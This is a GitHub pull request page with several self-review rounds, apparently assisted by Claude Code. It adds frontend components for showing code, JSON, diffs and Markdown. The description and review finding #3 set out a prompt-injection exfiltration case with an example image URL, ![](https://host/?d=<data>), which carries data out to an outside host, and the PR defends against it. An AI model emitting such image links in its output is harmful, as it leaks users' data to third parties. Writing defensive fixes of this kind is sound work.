Skip to content

UN-4400 [FEAT] Add the v1 code and structured data components: CodeBlock, JsonView, DiffView, Markdown, CopyButton and CodeEditor - #2447

Merged
ritwik-g merged 14 commits into
mainfrom
UN-4400-v1-code-data
Nov 6, 2026
Merged

ritwik-g merged 14 commits into
mainfrom
UN-4400-v1-code-data

Conversation

@ritwik-g

@ritwik-g ritwik-g commented Nov 5, 2026 •

Copy link
Copy Markdown
Contributor

What

  • Frontend v1 code and structured data components (P1-T16, UN-4400), in frontend/src/v1/components/ui/code/, imported from @v1/components/ui/code:
    • CodeBlock: read-only highlighted code (json, bash, python, javascript, typescript, yaml, markdown, text), with optional title, actions, copy, line numbers and wrap.
    • JsonView: JSON as an ARIA tree (keyboard: arrows, Home/End, Enter/Space) or raw text, over one line model. A value prints exactly as JSON.stringify(value, null, 2); text prints as written, re-indented only, so a 19-digit ID is never rounded. Expand all / Collapse all, folded {…} 3 keys, error states for invalid text and unserialisable values, and virtualisation above 300 showing lines.
    • DiffView: line diff, split (frame V12) or unified, with old/new labels (BEFORE/AFTER for H20), a "1 change +2 −1" summary, and +/− markers plus "Added:/Removed:" for screen readers. It gives up with "Too large to compare" past 2,000 lines between the two texts or 2,000 added plus removed lines (1 s timeout as backstop), because rows render unwindowed. A change only in line endings reads "Only line endings differ". diffStats() and formatJson()/formatJsonText() support consumers.
    • Markdown: react-markdown 8 + remark-gfm 3 (versions unchanged), no raw HTML, safe-URL filter on links and images, external links noopener noreferrer, fenced code rendered as CodeBlock. Images are links by default (loadImages opts in), so prompt-injected Markdown cannot exfiltrate data through an image URL.
    • CopyButton: inline feedback (check icon, or "Copy failed" / "Copy unavailable") plus a toast through toast from @v1/lib/notify.
    • CodeEditor: Monaco via @monaco-editor/react, lazy-loaded behind a skeleton, with engine-agnostic props (value, defaultValue, onChange, language, readOnly, showLineNumbers, height, aria-label). Follows the v1 theme (its own unstract-v1-light/unstract-v1-dark) and the mono font token. Monaco has one theme per page; v0 and v1 never render together, and v0's editor sets its own on mount, so v1 does not restyle v0 (documented). If the Monaco runtime fails to load (a blocked CDN), it says so; after 15 s of a slow load it says it is taking a while and still appears if it loads; an error in the editor (for example a failed chunk) shows an error in its place instead of unmounting the page.
    • InlineCode: mono text as a chip (code in prose) or plain (IDs, token counts).
  • Pure helpers in lib/code/: highlight.ts (refractor 5 to our own token model), json-lines.ts, diff.ts (jsdiff), clipboard.ts.
  • Ten colour tokens in styles/tokens.json, defined in light, dark and unstract: code-key, code-string, code-number, code-literal, code-keyword, code-comment, diff-added(-foreground) and diff-removed(-foreground). They are mapped in index.css (ui:text-code-*, ui:bg-diff-*).
  • Docs: components/ui/code/README.md (every prop, examples, the Monaco/CDN rule, the mono-font rule, test tips) and a "Code and data" section in src/v1/README.md.
  • code.gallery.tsx lists every variant and state, ready for the gallery (P1-T01).

Why

  • P1-T16 spec (page): "One way to show code, JSON, diffs and markdown." Eight consumer tasks in six lanes build on it (P4-T07, P5-T05, P5-T09, P5-T13, P7-T07, PA-T03, PA-T04, PA-T05), so the public API is frozen and documented here.

How

Decision Why
refractor 5, emitting our own token kinds, never Prism's token / language-* classes v0 loads a global Prism theme that styles those class names and would reach v1. refractor has no global Prism, so registering grammars never touches v0's prismjs. Only the eight grammars above are registered.
One flattened line model for tree and raw; folding skips ranges A toggle is one pass over the showing lines with no re-flatten. Tree and raw always agree, and Copy copies the same text.
@tanstack/react-virtual above 300 showing lines; documents of 300 lines or fewer open fully expanded, longer ones to depth 2 Spec: "5,000 lines without lag". In Chrome, the 5,000-line fixture keeps 41 rows in the DOM, and Expand all took about 25 ms.
Tree keyboard uses aria-activedescendant on the tree, not roving tabindex Rows unmount as they scroll out of view; focus stays on the container, so it is never lost.
CopyButton: the toast always fires; the live region only when toastOnCopy={false} The toast announces itself, so screen readers hear the result once either way.
Monaco on the loader's default CDN; v1 never calls loader.config() The loader is a singleton shared with v0's editors in the same bundle, so configuring it from v1 would change v0. nginx's CSP already allows cdn.jsdelivr.net.
src/v1/tsconfig.json maps react-markdown to a types-only stub (lib/react-markdown.d.ts) react-markdown 8 ships .ts type sources written against React 18's global JSX, so skipLibCheck cannot skip them and typecheck:v1 failed. The stub declares only what v1 uses, so v1 code still has no global JSX. Vite and Vitest load the real package. Remove it when react-markdown is upgraded.
Native button border, fill and font reset in the component classes v1 ships no preflight. In the browser, the toolbar buttons showed native borders until the reset.
No mono-scope invariant test (the tracker plan's step 5) Decision FrontendV1:MonoFontToken changed the rule from "Geist Mono here and nowhere else" to "only through the font-mono token". The merged document viewer (TextView) and base.css already use the token, so the guard would fail on main.

Token values (lane C to confirm)

The values start from the frames: V14 binds keys to destructive, numbers to success and strings to accent-foreground; V10 binds markdown headings to primary; V12 uses #15803d1f and #b41b301a for the diff rows; H20 uses red-700 and green-700 for its markers. No frame shows dark mode, so the dark values are lighter tints chosen to read on muted (#fca5a5, #4ade80, #c1c5fb, #b4aaf7, #fbbf24). Unstract mode reuses the light values, except code-keyword, which uses Unstract's navy primary. code-literal (true, false, null) uses warning, because no frame shows a literal. Light and Unstract values of code-string, code-number, code-literal, code-keyword, code-comment and diff-added-foreground were then darkened slightly so every syntax colour reads at 4.5:1 or more on muted, card, accent and both diff tints; tokens.test.ts enforces it (axe's contrast rule is off in the harness). Lane C: please confirm or replace these.

Gap analysis: spec vs this PR

Origin tags: Original spec · Existing v0 behaviour · Gap (spec silent or contradicted by reality) · Proposed by Claude.

# Point Origin What this PR does
1 Six components: CodeBlock, JsonView (tree and raw), DiffView, Markdown, Copy, CodeEditor Original spec All six, plus InlineCode (point 9).
2 "Geist Mono is used here and nowhere else" Original spec, superseded Replaced by decision FrontendV1:MonoFontToken: the font comes only from the font-mono token. No exclusivity guard, because TextView and base.css already use the token.
3 JsonView handles 5,000 lines; large payloads virtualise Original spec Virtualised above 300 showing lines; Vitest performance test on a 5,000-line fixture (bounded rendered rows, time budget). Checked in Chrome as well.
4 Copy confirms through the toast contract Original spec toast.success / toast.error from @v1/lib/notify (P1-T13, merged), plus inline feedback.
5 Editor exposes value, language and read-only Original spec Plus defaultValue, onChange, lineNumbers, height and a required aria-label.
6 Gallery entry in Light, Dark and Unstract Original spec, blocked P1-T01 (the gallery) is not on main. code.gallery.tsx holds every variant; markup.test.tsx snapshots each one and runs axe on it. Register these entries when P1-T01 lands.
7 Snapshot of rendered markup per variant Original spec __snapshots__/markup.md (v1 holds no .snap files).
8 Syntax and diff colours Gap P0-T04 had none, so ten tokens are added in every mode (see above, for lane C).
9 Token counts and IDs in other lanes need mono Gap InlineCode variant="plain" is the documented way.
10 Monaco loads from the jsdelivr CDN, not self-hosted Existing v0 behaviour Kept. Self-hosting would mean loader.config(), which would change v0's editors too. Revisit when v0 goes (P9).
11 react-markdown 8 / remark-gfm 3 kept Existing v0 behaviour Not bumped, as the tracker requires. This needed the JSX type shim.
12 Markdown images: no URL filter, and loaded on render Gap, found here transformImageUri is set, and images are links unless loadImages is set, because model output steered by a document could otherwise send data to any host in an image URL.
13 text keeps key order and duplicate keys as written Proposed by Claude text is printed from its own tokens, not re-serialised. A value follows JSON.stringify (integer-like keys first).
14 Large integers in text are never rounded Proposed by Claude Same mechanism. For a value, precision was lost when it was parsed, before JsonView sees it.
15 DiffView is not virtualised; it gives up past 2,000 lines between the texts or 2,000 added plus removed lines Proposed by Claude The diffs in the frames (prompts, records) are small; a reviewer chose lowering the cap over windowing. About 1,000 lines per side is the ceiling. "Too large to compare" instead of a frozen page.
16 No word-level highlight inside changed lines Proposed by Claude The tracker listed it as optional. Left out; can be added later without changing the API.
17 DiffView wraps long lines by default; V12 clips them Proposed by Claude Wrapping means no change is hidden off the side. wrap={false} gives the clipped look.
18 CodeEditor on a blocked or slow CDN Gap v0 shows a skeleton forever. v1 watches the shared loader (init(), never config()): a failed load says "could not load"; a slow one says "taking a while" after 15 s and still appears if it loads.
19 JsonView value is compared by identity Proposed by Claude A new object resets folding, so callers must memoise. Documented in the README and the JSDoc.

Can this PR break any existing features. If yes, please list possible items. If no, please explain why. (PS: Admins do not merge the PR without this section filled)

  • No. Everything new is under frontend/src/v1/, which no v0 route renders. The dependency changes are additive: diff 9.0.0 and refractor 5.0.0 were already in bun.lock (through react-diff-viewer-continued) and are now direct, at the same resolved versions; @tanstack/react-virtual 3.14.21 is new. bun.lock gains only those entries (it was edited by hand to avoid unrelated re-hoisting) and bun install --frozen-lockfile passes. The production build passes.

Database Migrations

  • None.

Env Config

  • None.

Relevant Docs

  • frontend/src/v1/components/ui/code/README.md, and the "Code and data" section in frontend/src/v1/README.md.

Related Issues or PRs

Dependencies Versions

  • @tanstack/react-virtual 3.14.21 (new; virtualises large JSON).
  • diff 9.0.0 and refractor 5.0.0 (made direct; already locked at these versions).

Notes on Testing

  • bun run typecheck:v1, bun run lint:v1 and bun run test:v1 all pass: 381 v1 tests, coverage 97.5% lines and 94.7% branches.
  • Self-review rounds are posted as reviews on this PR. Each guard added in them was mutation-checked: break the guard, see a test fail, restore.
  • New tests cover behaviour and keyboard for every component, copy success, failure and unavailable (asserting the toast), Markdown safety (script, raw HTML, javascript: links and images), diff pairing and stats, the exact JSON.stringify print, and the 5,000-line performance case. axe runs in all three modes.
  • Monaco is mocked (vi.mock("@monaco-editor/react")), because its loader fetches from the CDN.
  • Checked by eye in Chrome, from a throwaway Vite page (not committed) that rendered the gallery entries in light and dark. JSON colours match V14 and the split diff matches V12. That check found and fixed the native button styles.

Screenshots

  • None attached; the gallery (P1-T01) is not on main yet.

Checklist

I have read and understood the Contribution Guidelines.

🤖 Generated with Claude Code

ritwik-g and others added 2 commits November 5, 2026 14:42
CodeBlock, JsonView (tree and raw, virtualised), DiffView (split and
unified), Markdown, CopyButton, CodeEditor (lazy Monaco) and InlineCode
under components/ui/code, with pure helpers in lib/code. Adds the code-*
and diff-* colour tokens in every mode, refractor, diff and
@tanstack/react-virtual as direct dependencies, tests including the
5,000-line JSON case, and usage docs.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
… name Markdown code blocks

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

@ritwik-g ritwik-g left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Self-review round 1: review-deep (INITIAL), tip 24f70faad

Review: /unstract:review-deep, because review-shallow's gate refuses this PR (it changes dependencies: package.json, bun.lock). Base main, merge base ed53cfded, base fetched. 39 files, 4,626 lines; the count matches GitHub. Signals: lenses 4, 13 and 14 raised (Markdown parses untrusted text, tests changed, dependencies) plus component lifecycle. The code is self-authored.

Verdict: REQUEST CHANGES

Summary: Critical: 0 · High: 2 · Medium: 13 · Low: 6 · Lenses run: 19/19 (N/A where stated)

Security deep-dive: done (vendored prompt, find sub-task returned; no candidate reached confidence 8, so no filters ran). Boundary sweep: 3 sinks traced (toast titles, the invalid-JSON alert, the clipboard), clean.

Unanchored findings

1. [High] [Lens 2/6]: JsonView re-renders forever ("Too many re-renders") once an invalid document re-renders

  • Location: frontend/src/v1/components/ui/code/JsonView.tsx:L184 and L196-L204
  • Failure mode: when the model is invalid, lines = model.ok ? model.lines : [] builds a new [] on every render. The render-phase reset if (fold.lines !== lines) setFold(...) therefore loops until React throws. It triggers on valid→invalid text, and on any parent re-render while the text is invalid.
  • Evidence: two agents reproduced the pattern independently on React 19.2.8.
  • Suggested fix: a stable module-level NO_LINES; test re-renders of invalid text.
  • Confidence: High. Verification: VERIFIED (standalone repro of the exact pattern).

2. [High] [Lens 5/3]: JsonView text= re-serialises the source, so the tree, Raw and Copy all change numbers

  • Location: frontend/src/v1/components/ui/code/JsonView.tsx:L79-L96, frontend/src/v1/lib/code/json-lines.ts (normalise)
  • Failure mode: JSON.parse then JSON.stringify rounds integers above 2^53 (4111111111111111111 becomes 4111111111111111000), turns 1.10 into 1.1, drops duplicate keys and reorders integer-like keys. A 19-digit ID in model output is shown and copied as a different number.
  • Suggested fix: when text is given, flatten from the source tokens (lossless), and use JSON.parse only to validate.
  • Confidence: High. Verification: VERIFIED (node round trip).

3. [Medium] [Lens 4]: Markdown loads remote images from model output

  • Location: frontend/src/v1/components/ui/code/Markdown.tsx:L157-L159, L219
  • Failure mode: a prompt-injected ![](https://host/?d=<data>) is fetched on render (exfiltration). The CSP img-src allows analytics hosts, and relative URLs send same-origin GETs.
  • Suggested fix: render images as links unless the caller opts in.
  • Confidence: Medium. Verification: VERIFIED that img passes the URL through and for the CSP content.

4. [Medium] [Lens 3]: An unserialisable value shows and copies [object Object] under "Invalid JSON"

  • Location: frontend/src/v1/components/ui/code/JsonView.tsx:L91-L95
  • Suggested fix: for value, show only the error, with its own title, and no raw block or copy.
  • Confidence: High. Verification: VERIFIED by reading.

5. [Medium] [Lens 1]: The tree's active row can be a closing-bracket line, so aria-activedescendant points to a missing id

  • Location: frontend/src/v1/components/ui/code/JsonView.tsx:L226-L228, L359-L372
  • Failure mode: it happens on a click on a } row, or after a document change. The arrow keys then also start from the wrong row.
  • Suggested fix: map a closing line to its opening line in one place, and reset active on a document change.
  • Confidence: High. Verification: UNVERIFIED (traced by reading). Does clicking } leave aria-activedescendant naming a missing id?

6. [Medium] [Lens 8/3]: CodeEditor stays on "Loading editor" forever when the Monaco CDN fails, and a failed lazy chunk throws past v1

  • Location: frontend/src/v1/components/ui/code/CodeEditor.tsx:L22, L101-L137
  • Suggested fix: a timeout that shows an InlineAlert, plus an error boundary around the lazy editor.
  • Confidence: High. Verification: VERIFIED by reading @monaco-editor/react 4.7 dist (the catch only logs).

7. [Medium] [Lens 4/16]: Light and Unstract syntax colours fall below 4.5:1 on muted and on the diff tints

  • Location: frontend/src/v1/styles/tokens.json (code-* tokens)
  • Failure mode: keyword and comment measure about 4.3 on muted; most kinds measure 3.9–4.3 on tinted diff rows. axe's color-contrast is off in the harness.
  • Suggested fix: darken the light and Unstract values; add a contrast assertion to tokens.test.ts.
  • Confidence: High. Verification: VERIFIED (computed ratios).

8. [Medium] [Lens 9]: DiffView's jsdiff call has no bound

  • Location: frontend/src/v1/lib/code/diff.ts (diffLines with no options)
  • Suggested fix: pass jsdiff's timeout; show a "too large to compare" state when it returns undefined.
  • Confidence: Medium. Verification: UNVERIFIED. Does a 5,000-line diff with many edits freeze the tab?

9. [Medium] [Lens 13]: The 5,000-line test asserts a wall-clock budget

  • Location: frontend/src/v1/components/ui/code/JsonView.test.tsx:L228, L245
  • Suggested fix: drop the timing assertion and keep the row-count bounds.
  • Confidence: High. Verification: VERIFIED by reading.

10. [Medium] [Lens 16]: The README's height rule is wrong for Markdown and CodeEditor

  • Location: frontend/src/v1/components/ui/code/README.md:L46-L50
  • Confidence: High. Verification: VERIFIED by reading.

11. [Medium] [Lens 16]: Docs say inline failure text appears; on the default icon-only CopyButton it never does

  • Location: frontend/src/v1/components/ui/code/README.md:L165-L166, CopyButton.tsx:L46-L47
  • Confidence: High. Verification: VERIFIED by reading.

12. [Medium] [Lens 7]: JsonView's value-xor-text rule is lost under Omit/Pick; the parts are not exported

  • Location: frontend/src/v1/components/ui/code/JsonView.tsx:L42-L73
  • Confidence: High. Verification: VERIFIED (tsc probe).

13. [Medium] [Lens 7]: CodeEditor's lineNumbers and the siblings' showLineNumbers name the same prop differently

  • Location: frontend/src/v1/components/ui/code/CodeEditor.tsx:L55
  • Confidence: High. Verification: VERIFIED by reading.

14. [Medium] [Lens 7]: Exporting computeLineDiff freezes the internal row model; tuning constants are exported too

  • Location: frontend/src/v1/components/ui/code/index.ts:L2-L6
  • Suggested fix: export a diffStats(old, new) instead; remove VIRTUALIZE_ABOVE, EXPAND_ALL_UP_TO and COPY_FEEDBACK_MS from the index.
  • Confidence: High. Verification: VERIFIED (tsc probe).

15. [Medium] [Lens 17]: The tokens.ts header still says colour is "the Midnight Bloom collection minus its palette entries"

  • Location: frontend/src/v1/styles/tokens.ts:L11
  • Made stale by: frontend/src/v1/styles/tokens.json (10 code/diff colours added)
  • Confidence: High. Verification: VERIFIED (targeted merge sweep).

16. [Low] [Lens 16]: The README says "javascript: never survives"; the href is javascript:void(0)

  • Location: frontend/src/v1/components/ui/code/README.md:L143-L144
  • Verification: VERIFIED by reading react-markdown's uri-transformer.js.

17. [Low] [Lens 16]: The JsonLine.label doc claims a screen-reader use that does not exist; the README says "(or text)" is compared by identity

  • Location: frontend/src/v1/lib/code/json-lines.ts:L24, README.md:L99
  • Verification: VERIFIED by grep.

18. [Low] [Lens 13]: Removing skipHtml, or the "hide fold controls" guard, is caught only by the snapshot

  • Location: frontend/src/v1/components/ui/code/Markdown.test.tsx:L80, JsonView.test.tsx:L174-L179
  • Verification: VERIFIED by mutation (both survive the behavioural tests).

19. [Low] [Lens 13]: The fixture docstring says "as in frame V14", but autopay, previous_balance and transactions are added to cover branches

  • Location: frontend/src/v1/test/fixtures/json.ts:L6
  • Verification: VERIFIED against the V14 inspect output.

20. [Low] [Lens 3]: A throwing text() getter in CopyButton gives no feedback; copyText drops the error name

  • Location: frontend/src/v1/components/ui/code/CopyButton.tsx:L68
  • Verification: VERIFIED by reading.

21. [Low] [Lens 9/7]: Notes

  • Location: frontend/src/v1/components/ui/code/CodeEditor.tsx:L122
  • Monaco's theme is global, so a dark v1 editor recolours a concurrent v0 editor.
  • useLineHeight is read once, and estimateSize is not re-measured (no effect while the token stays 22px).
  • Virtualised tree items have no aria-setsize.
  • highlight.ts registers grammars at import, so the barrel keeps refractor in any chunk that imports InlineCode.
  • Verification: VERIFIED by reading; the bundle point is UNVERIFIED.

Lens checklist

  1. Correctness — See findings #5
  2. Design — See findings #1
  3. Error handling — See findings #4, #6, #20
  4. Security — See findings #3, #7
  5. Data integrity — See findings #2
  6. Concurrency — See findings #1
  7. API compatibility — See findings #12, #13, #14
  8. Reliability — See findings #6
  9. Performance — See findings #8, #21
  10. Observability — N/A — client-only UI components, no logs, metrics or network calls
  11. Operational safety — N/A — no rollout, flag or infrastructure change; v1 is not routed
  12. LLM/agent — N/A — no prompt, model or agent configuration
  13. Testing — See findings #9, #18, #19
  14. Dependencies — Clean — frozen install reproduces the lockfile byte for byte; licences MIT/BSD-3; versions pinned (agent, lenses 6/8/14)
  15. Style/tooling — Clean — lint:v1 and typecheck:v1 pass at the tip (assessed by the orchestrator)
  16. Doc accuracy — See findings #10, #11, #16, #17
  17. Cross-document consistency — See findings #15
  18. On-prem experience — N/A — no chart, values, schema or on-prem build path; v1 is not routed in any deployment
  19. Scaling & workload lifecycle — N/A — no workload, scaling or lifecycle configuration

Open questions for the author

  • None that block judgement.

Assumptions made

  • That model-output Markdown will be rendered through Markdown (its README says so), which makes #3 reachable.

cost: agents=9 wall=08:42 lenses-examined=14 files=39 lines=4626

- JsonView: stable empty lines (an invalid document no longer re-renders
  forever); JSON text is printed as written, so large numbers, key order
  and duplicate keys survive; an unserialisable value shows an error with
  nothing to copy; a closing bracket is never the active tree item.
- Markdown: images are links unless loadImages is set.
- CodeEditor: showLineNumbers (was lineNumbers); an error after 15 s
  without Monaco, and an error boundary for a failed editor chunk.
- DiffView: jsdiff time limit with a 'Too large to compare' state;
  diffStats replaces computeLineDiff in the public index.
- Code colour tokens darkened to 4.5:1 on every surface, with a test.
- Docs corrected; the 5,000-line test no longer asserts wall-clock time.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

@ritwik-g ritwik-g left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Self-review round 2: review-deep (FOLLOWUP), tip 2f6994256, delta 24f70faad..2f6994256

Review: /unstract:review-deep (review-shallow refuses this PR: it changes dependencies). Base main, merge base ed53cfded. The delta is 23 files, +935/−302. Self-authored. Security deep-dive: done (full, no candidate at confidence 8). Boundary sweep: 3 sinks traced (toasts, editor/diff/JSON alerts, clipboard), clean.

Verdict: REQUEST CHANGES

Prior context fetched: followup-fetch.sh exited 0 (6 of 6). The "since" boundary is 24f70faad, the round 1 review (5782550598).

Scope change: NO

Prior findings status

  • #1 [High] JsonView re-render loop → RESOLVED: NO_LINES at JsonView.tsx:88; test "survives re-renders…"; mutant killed.
  • #2 [High] text rounds numbers → RESOLVED: flattenJsonText at json-lines.ts:283; tests in json-lines.test.ts and JsonView.test.tsx.
  • #3 [Medium] Markdown loads remote images → PARTIALLY RESOLVED: images are links by default (Markdown.tsx:192), but a linked image now nests <a> in <a>; see new #2.
  • #4 [Medium] [object Object] for an unserialisable value → RESOLVED: JsonView.tsx:556.
  • #5 [Medium] Closing bracket as the active item → RESOLVED: itemIndex at JsonView.tsx:107; test; mutant killed.
  • #6 [Medium] Editor stuck on load → PARTIALLY RESOLVED: timeout and boundary added (CodeEditor.tsx:39, :111), but a slow load past 15 s is discarded for good; see new #3.
  • #7 [Medium] Contrast below AA → RESOLVED: tokens darkened, test at tokens.test.ts:150.
  • #8 [Medium] Unbounded diff → PARTIALLY RESOLVED: timeout added (diff.ts:76), but the result is machine-dependent and the timeout is untested; see new #4.
  • #9 [Medium] Wall-clock test → RESOLVED: assertion removed.
  • #10 [Medium] README height rule → RESOLVED: README.md:46.
  • #11 [Medium] CopyButton failure text → RESOLVED: CopyButton.tsx:46, README.md:165.
  • #12 [Medium] Value-xor-text lost under Omit → RESOLVED: JsonSource and JsonViewOptions exported.
  • #13 [Medium] lineNumbers naming → RESOLVED: renamed to showLineNumbers.
  • #14 [Medium] computeLineDiff and constants in the index → RESOLVED: index.ts now exports diffStats.
  • #15 [Medium] Stale tokens.ts header → RESOLVED: tokens.ts:11.
  • #16 [Low] "javascript: never survives" → RESOLVED.
  • #17 [Low] label doc and "(or text)" → PARTIALLY RESOLVED: the README is fixed; the JsonLine.label doc is fixed.
  • #18 [Low] skipHtml and fold-controls pins → RESOLVED: tests added; skipHtml mutant killed.
  • #19 [Low] Fixture provenance → RESOLVED: fixtures/json.ts:6.
  • #20 [Low] CopyButton getter / error name → WAIVED: below the floor; a caller-side getter error, kept as a note.
  • #21 [Low] Notes → WAIVED: below the floor (Monaco global theme, line height, setsize, bundle).

New findings

1. [High] [Lens 3/8]: Deeply nested JSON text crashes the host page (a regression in this delta)

  • Location: frontend/src/v1/components/ui/code/JsonView.tsx:L90-L97, frontend/src/v1/lib/code/json-lines.ts:L104-L170
  • Failure mode: JSON.parse accepts about 1,800+ levels of nesting, but the recursive fromText/print throw a RangeError, and the text branch has no try. The page unmounts.
  • Suggested fix: wrap the text branch like the value branch.
  • Confidence: High. Verification: VERIFIED (node probe by three agents).

2. [Medium] [Lens 3]: A linked image renders as an <a> inside an <a>

  • Location: frontend/src/v1/components/ui/code/Markdown.tsx:L192-L200
  • Suggested fix: render plain text when the image is already inside a link.
  • Confidence: High. Verification: UNVERIFIED. Does react-markdown pass the img inside the a?

3. [Medium] [Lens 8]: A slow editor load past 15 s is discarded, and a later load cannot recover

  • Location: frontend/src/v1/components/ui/code/CodeEditor.tsx:L111-L118, L159-L161
  • Suggested fix: keep Monaco mounted behind a "taking a while" alert; only a failed chunk shows the final error. Use neutral wording.
  • Confidence: Medium. Verification: VERIFIED by reading.

4. [Medium] [Lens 13/8]: The diff limit is wall-clock only and its test does not pin it

  • Location: frontend/src/v1/lib/code/diff.ts:L76, frontend/src/v1/lib/code/diff.test.ts:L61-L67
  • Suggested fix: a deterministic default maxEditLength with the timeout as backstop; test the timeout with a stubbed clock.
  • Confidence: High. Verification: VERIFIED (mutant M1 survived).

5. [Medium] [Lens 16/17]: The documented JSON-diff recipe (formatJson) rounds large numbers, while JsonView keeps them

  • Location: frontend/src/v1/components/ui/code/DiffView.tsx:L28, README.md:L119
  • Suggested fix: export a lossless formatJsonText and point the recipe at it for JSON text.
  • Confidence: High. Verification: VERIFIED by reading.

6. [Medium] [Lens 16]: The README claims the gallery covers "every variant and state"

  • Location: frontend/src/v1/components/ui/code/README.md:L211
  • Confidence: High. Verification: VERIFIED by grep.

7. [Low] [Lens 16/13]: Notes

  • Location: frontend/src/v1/styles/tokens.json:L303
  • Stale token notes; fixture "token kind" wording; contrast test omits accent; no test that folds one of two duplicate keys; diff labels show above "Too large"; the README calls the 5,000-line test a "performance case".
  • Verification: VERIFIED by reading.

Lens checklist

  1. Correctness — Clean
  2. Design — See findings #2
  3. Error handling — See findings #1, #2, #3
  4. Security — Clean
  5. Data integrity — See findings #5
  6. Concurrency — Clean
  7. API compatibility — Clean
  8. Reliability — See findings #3, #4
  9. Performance — Clean
  10. Observability — N/A — client-only UI, no logs or metrics
  11. Operational safety — N/A — no rollout or infrastructure change
  12. LLM/agent — N/A — no prompt or model configuration
  13. Testing — See findings #4, #7
  14. Dependencies — N/A — no dependency change in this delta
  15. Style/tooling — Clean
  16. Doc accuracy — See findings #5, #6, #7
  17. Cross-document consistency — See findings #5
  18. On-prem experience — N/A — no on-prem surface
  19. Scaling & workload lifecycle — N/A — no workload configuration

Open questions / assumptions

  • None.

- JsonView: JSON text nested deeper than the printer can go shows an
  error instead of crashing the page.
- Markdown: an image inside a link is text, never a link in a link.
- CodeEditor: after 15 s a 'taking a while' note, with the editor kept
  mounted so a slow load still appears; an error in the editor shows one
  error in its place.
- Diff: a deterministic limit of 2,000 changed lines, the timeout as a
  backstop, both tested; labels hidden when too large.
- formatJsonText: lossless re-indent for diffing JSON text.
- Contrast test covers the active-row surface; doc and note fixes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

@ritwik-g ritwik-g left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Self-review round 3: review-deep (FOLLOWUP), tip adf196729, delta 2f6994256..adf196729

Review: /unstract:review-deep (review-shallow refuses: the PR changes dependencies). The delta is 17 files, +207/−65. Self-authored. Security deep-dive: done (full, no candidate at confidence 8). Boundary sweep: clean (no new sinks).

Verdict: REQUEST CHANGES

Summary: Critical: 0 · High: 0 · Medium: 3 · Low: 1 · Lenses run: 19/19 (N/A where stated)

Prior context fetched: followup-fetch.sh exited 0 (6 of 6). The "since" boundary is 2f6994256 (round 2 review 5782848493).

Scope change: NO

Prior findings status (round 2)

  • #1 [High] Deep JSON text crashes the page → RESOLVED: catch at JsonView.tsx:97; test; mutant killed.
  • #2 [Medium] Nested anchors for linked images → RESOLVED: InsideLink at Markdown.tsx:64; test; mutant killed.
  • #3 [Medium] A slow editor load is discarded → PARTIALLY RESOLVED: the editor stays mounted, but a blocked CDN now never reaches an error and the copy promises it will appear; see new #1.
  • #4 [Medium] Diff limit nondeterministic and untested → RESOLVED: DIFF_MAX_EDIT_LENGTH plus a stubbed-clock test; mutants killed.
  • #5 [Medium] JSON-diff recipe rounds numbers → RESOLVED: formatJsonText exported.
  • #6 [Medium] Gallery claim → RESOLVED.
  • #7 [Low] Notes → RESOLVED (token notes, fixture wording, accent surface, duplicate-key fold test, labels).

New findings

1. [Medium] [Lens 3/8]: A blocked Monaco CDN shows "it appears here once it loads" forever

  • Location: frontend/src/v1/components/ui/code/CodeEditor.tsx:L120-L126, L167-L175
  • Failure mode: the loader's promise rejects and never retries, and @monaco-editor/react only logs it, so "failed" is unreachable for the case the timeout exists for.
  • Suggested fix: join loader.init() (never config) and set "failed" on rejection; make the slow copy say to reload if it does not appear.
  • Confidence: High. Verification: VERIFIED by reading @monaco-editor/loader (onerror = state.reject, memoised promise).

2. [Medium] [Lens 3]: Valid JSON nested too deep is titled "Invalid JSON", and the catch hides any printer bug

  • Location: frontend/src/v1/components/ui/code/JsonView.tsx:L97-L105, L566-L573; frontend/src/v1/lib/code/json-lines.ts:L306
  • Suggested fix: catch only RangeError, with its own title; rethrow anything else.
  • Confidence: High. Verification: VERIFIED by reading.

3. [Medium] [Lens 16]: The README still says the diff limit is "more than a second"; "2000 changed lines" counts an edited line twice

  • Location: frontend/src/v1/components/ui/code/README.md:L139-L141; frontend/src/v1/lib/code/diff.ts:L58-L69
  • Made stale by: frontend/src/v1/lib/code/diff.ts:L80
  • Confidence: High. Verification: VERIFIED (jsdiff run: 1,000 edited lines diff, 1,001 give up).

4. [Low] [Lens 16/13]: Notes

  • Location: frontend/src/v1/styles/tokens.json:L303
  • "Darkened" holds only for light values; the Markdown.tsx comment sits above the wrong declaration; the chunk test's comment mentions the timeout; the edit-length boundary has no odd-count case; "Too large" vs "differ too much" wording.
  • Verification: VERIFIED by reading.

Lens checklist

  1. Correctness — See findings #1
  2. Design — Clean
  3. Error handling — See findings #1, #2
  4. Security — Clean
  5. Data integrity — Clean
  6. Concurrency — Clean
  7. API compatibility — Clean
  8. Reliability — See findings #1
  9. Performance — Clean
  10. Observability — See findings #2
  11. Operational safety — N/A — no rollout or infrastructure change
  12. LLM/agent — N/A — no prompt or model configuration
  13. Testing — See findings #4
  14. Dependencies — N/A — no dependency change in this delta
  15. Style/tooling — Clean
  16. Doc accuracy — See findings #3, #4
  17. Cross-document consistency — See findings #3
  18. On-prem experience — N/A — no on-prem surface
  19. Scaling & workload lifecycle — N/A — no workload configuration

Open questions / assumptions

  • None.

- CodeEditor: watch the Monaco loader (init, never config) so a blocked
  CDN ends in 'could not load'; the slow note says to reload if it does
  not appear.
- JsonView: valid JSON nested too deep has its own title; only a
  RangeError is caught, so printer bugs are not hidden (also in
  formatJsonText).
- Diff limit documented as added plus removed lines; odd-count boundary
  test; README corrected; comment and token-note fixes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

@ritwik-g ritwik-g left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Self-review round 4: review-deep (FOLLOWUP), tip 730e77109, delta adf196729..730e77109

Review: /unstract:review-deep (review-shallow refuses: the PR changes dependencies). The delta is 11 files, +102/−43. Self-authored. Security deep-dive: done (full, no candidate at confidence 8). Boundary sweep: clean.

